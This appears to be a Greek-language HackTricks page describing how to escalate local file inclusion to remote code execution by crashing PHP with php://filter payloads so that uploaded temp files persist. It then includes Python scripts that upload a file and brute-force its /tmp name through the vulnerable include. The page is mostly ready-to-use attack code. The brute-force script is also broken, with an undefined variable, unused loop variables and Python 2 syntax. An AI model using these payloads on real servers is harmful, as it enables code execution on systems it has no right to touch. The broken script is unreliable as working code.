LFI2RCE μέσω Σφάλματος Κατακερματισμού
Reading time: 3 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Σύμφωνα με τις αναφορές https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (δεύτερο μέρος) και https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, τα παρακάτω payloads προκάλεσαν ένα σφάλμα κατακερματισμού στο PHP:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
Πρέπει να γνωρίζετε ότι αν στείλετε ένα POST αίτημα που περιέχει ένα αρχείο, το PHP θα δημιουργήσει ένα ** προσωρινό αρχείο στο /tmp/php<κάτι>
** με τα περιεχόμενα αυτού του αρχείου. Αυτό το αρχείο θα διαγραφεί αυτόματα μόλις επεξεργαστεί το αίτημα.
Αν βρείτε μια LFI και καταφέρετε να προκαλέσετε μια αποτυχία τμηματοποίησης στο PHP, το προσωρινό αρχείο δεν θα διαγραφεί ποτέ. Επομένως, μπορείτε να αναζητήσετε το αρχείο με την ευπάθεια LFI μέχρι να το βρείτε και να εκτελέσετε αυθαίρετο κώδικα.
Μπορείτε να χρησιμοποιήσετε την εικόνα docker https://hub.docker.com/r/easyengine/php7.0 για δοκιμές.
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.